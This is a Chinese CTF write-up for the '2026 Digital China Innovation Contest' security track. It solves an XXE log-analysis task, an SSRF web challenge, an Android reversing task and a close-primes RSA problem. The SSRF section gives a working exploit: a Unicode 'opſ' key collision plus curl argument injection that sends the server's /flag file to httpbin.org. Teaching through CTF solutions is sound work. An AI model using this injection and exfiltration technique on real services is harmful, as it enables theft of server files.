2026数字中国创新大赛网络安全赛道个人赛wp

日志分析

某电商公司的后台服务器在昨晚凌晨遭遇了疑似自动化扫描和手动渗透攻击。安全团队捕获了当天的 access.log 文件,但面对数万条记录束手无策。作为应急响应专家,你需要分析提供的日志文件,找出攻击者成功利用漏洞的完整链条,并提取出攻击者最终窃取的核心数据(Flag)。

题目考点

#日志审计
#base64解码
#xxe注入特征

解题思路

搜索flag,发现xxe注入,因为只有请求日志,所以flag不可能藏在响应里,猜测xxe请求的内容会拼接形成flag

同时发现fla的base64字符,然后拼接后解码得到flag

flag

flag{8cb249d0-825b-7419-845b-1f29e00d53f4}

CloudPulse

一个简单网站测试网页

题目考点

#参数覆盖
#unicode绕过
#ssrf

解题思路

题目附件是一道python+go的文件,猜测是ssrf,查看源码,其中python中/api/probe路由会发送到后端请求http://backend:8080/api/monitor

同时发现写死了如下常量

def _cf():
return ''.join(chr(c) for c in [111, 112, 115]) # ops

def _sv():
return ''.join(chr(c) for c in [0x68, 0x74, 0x74, 0x70, 0x63, 0x68, 0x65, 0x63, 0x6b]) # httpcheck

继续审计源码,可以发现这里并不是普通的参数覆盖,而是一个前后端对 JSON 键名处理不一致的问题。

前端 python 对用户传入的 json 键名只做了 lower() 处理,然后再强制把 ops 改成 httpcheck。表面上看,无论传什么,最后送到后端的都会是:

{"ops":"httpcheck"}

但是这里可以利用一个特殊的 Unicode 字符 ſ(long s,U+017F),构造出键名 opſ。这个键名在 python 前端这里只会被当作普通字符串,不会变成 ops,但是后端 go 在 json 反序列化时,会把它和 ops 视作同一个字段来匹配。

因此可以构造如下请求:

{  
"ops": "x",
"opſ": "fetch",
"target": "https://httpbin.org/post -d @/flag"
}

这样前端虽然会把原本的 ops 改成 httpcheck,但是由于 opſ 这个键还在,后端解析时后面的值会把前面的 ops 覆盖掉,最终 Ops 实际上会变成 fetch,从而进入危险分支。

而在 go 后端中,fetch 分支会执行:

targetParts := strings.Fields(target)  
args = append(args, targetParts...)
cmd := exec.Command("curl", args...)

这里 targetstrings.Fields() 按空格拆开后,直接拼进了 curl 参数中,相当于可以直接进行 curl 参数注入。

一开始尝试用 -K /flag/flag 当作 curl 配置文件读取,不过远程环境下只返回报错,不能直接看到 flag 内容。于是换一种思路,使用-d @/flag

让 curl 把 /flag 的内容作为 POST 数据发到一个会回显请求体的网站,例如 https://httpbin.org/post。这样后端最终执行的命令效果大致为:

curl -s -m 5 --max-filesize 102400 https://httpbin.org/post -d @/flag

由于 httpbin 会回显请求内容,因此 /flag 中的内容就会出现在响应包里,从而拿到 flag。

exp 如下:

import requests  
import re

url = "http://web-84a0847c44.adworld.xctf.org.cn/api/probe"

data = {
"ops": "x",
"op\u017f": "fetch",
"target": "https://httpbin.org/post -d @/flag"
}

r = requests.post(url, json=data, timeout=10)
print(r.text)

拿到flag

flag

flag{Pje0KkeJwXLlXMMcp7R8UiCTB65kJwdh}

SecureVault

题目考点

#android逆向
#so文件加密逻辑逆向分析
#自定义分组变换

解题思路

题目给的是一个 APK,先丢进 jadx 看 Java 层逻辑。MainActivity 里可以看到输入必须是 32 位 hex,点击按钮后会调用 NativeBridge.b(str),只要返回值以 flag{ 开头就算成功,所以真正的校验和解密逻辑都在 NativeBridge 里。

继续看 NativeBridge.java,可以直接拿到两组关键常量:

f1300a = new int[]{5, 12, 3, 14, 9, 0, 7, 10, 15, 4, 1, 8, 13, 6, 11, 2};
f1301b = new byte[]{74, 97, 118, 97, 75, 101, 121, 33, 83, 101, 99, 117, 114, 101, 86, 50};

第二个字节数组转成 ASCII 就是:

b"JavaKey!SecureV2"

Java 层先把输入的 32 位 hex 转成 16 字节,然后做一个 16 bit 的 djb2 风格校验,要求结果等于 24627。通过后再按 f1300a 做一次位置置换,并和 JavaKey!SecureV2 逐字节异或,得到 16 字节中间值,再转成 hex 送进 nativeVerify

native 层继续拆 libnative_crypto.so。里面虽然有 TracerPidfridagadgetinjector 这些反调试检查,但对静态分析没什么影响。把 JNI 函数顺下来后可以发现它实际是把 16 字节输入拆成两个 8 字节块分别校验,每一块大致都是“先异或常量,再过 S 盒、bit 置换和一轮类 TEA 的 8-byte 变换”。

把两条链逆回去之后,可以得到 native 真正想要的输入是:

e7ea34917ca596eb5ebb9c66dfdba8dc

再结合 Java 层这条关系:

jni_input[i] = master[perm[i]] ^ java_key[i]

反推就能还原出真正的 Master Key:

c0ffee42deadbeef1337cafe8badf00d

native 在校验通过后会返回一串 hex,Java 最后还会再做一层:

byte ^ (((i * 27) + 126) & 0xff)

解出来就是最终的 flag。这里把 so 里的目标输入和 native 返回值拿出来之后,exp 可以写得比较简单:

exp如下:

perm = [5, 12, 3, 14, 9, 0, 7, 10, 15, 4, 1, 8, 13, 6, 11, 2]
java_key = b"JavaKey!SecureV2"

# 这一步是把 nativeVerify 逆完之后得到的 JNI 真正输入
jni_input = bytes.fromhex("e7ea34917ca596eb5ebb9c66dfdba8dc")

# native 校验通过后返回给 Java 的 hex 串
native_ret_hex = "18f5d5a891444e4f672ec8c5a582bb516d162213aec1a48e681258083fb9dbb7ed8b3552"

def recover_master(jni_input_bytes):
master = [0] * 16
for i, p in enumerate(perm):
master[p] = jni_input_bytes[i] ^ java_key[i]
return bytes(master)

def java_hash(bs):
h = 5381
for b in bs:
h = ((h * 33) + b) & 0xFFFF
return h

def decode_flag(native_hex):
data = bytes.fromhex(native_hex)
out = bytearray()
for i, b in enumerate(data):
out.append(b ^ (((i * 27) + 126) & 0xFF))
return out.decode()

master = recover_master(jni_input)
flag = decode_flag(native_ret_hex)

print("Master Key :", master.hex())
print("Hash check :", java_hash(master))
print("Flag :", flag)

flag

Master Key = c0ffee42deadbeef1337cafe8badf00d
flag{Ant1_Dbg_CBC_Fl4tten3d_M4st3r!}

近在咫尺

小龙刚学会 RSA,就迫不及待地写了个加密脚本。为了“方便管理”,他让两个素数尽量靠近一点,觉得这样生成起来更快。现在你拿到了他的脚本和一次加密结果,你能把密文还原出来吗?

题目考点

#费马分解近素数
#RSA

解题思路

附件里有 chall.pyoutput.txt,先看源码,核心是:

p = getPrime(256)
q = next_prime(p + 0x2B67)

也就是说 q 就是 p+0x2B67 后面的下一个素数,两个素数离得非常近。

这种 RSA 可以直接想到费马分解。因为当 pq 很接近时,n 可以写成:

n = a^2 - b^2 = (a-b)(a+b)

sqrt(n) 往上试,很快就能找到平方差。这里实际分解出来 q-p=11120,说明这题就是在考 close primes。

分解出 pq 之后,正常求:

phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)

exp如下:

from Crypto.Util.number import long_to_bytes

n = 7454111713139927876232259713706936303573714116794442817310765079983011293981256300530816851723410800872539085466352319868113846516768058243142635125770529
e = 65537
c = 1191874816085381862692067665830902958697213015025315099374573203104750973227774012845742587255524802454807814934088221526718763801469140835525899521771937

def fermat_factor(n: int):
a = isqrt(n)
if a * a < n:
a += 1
while True:
b2 = a * a - n
b = isqrt(b2)
if b * b == b2:
return a - b, a + b
a += 1

p, q = fermat_factor(n)
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)

print(flag.decode())

flag

flag{fermat_can_break_close_primes}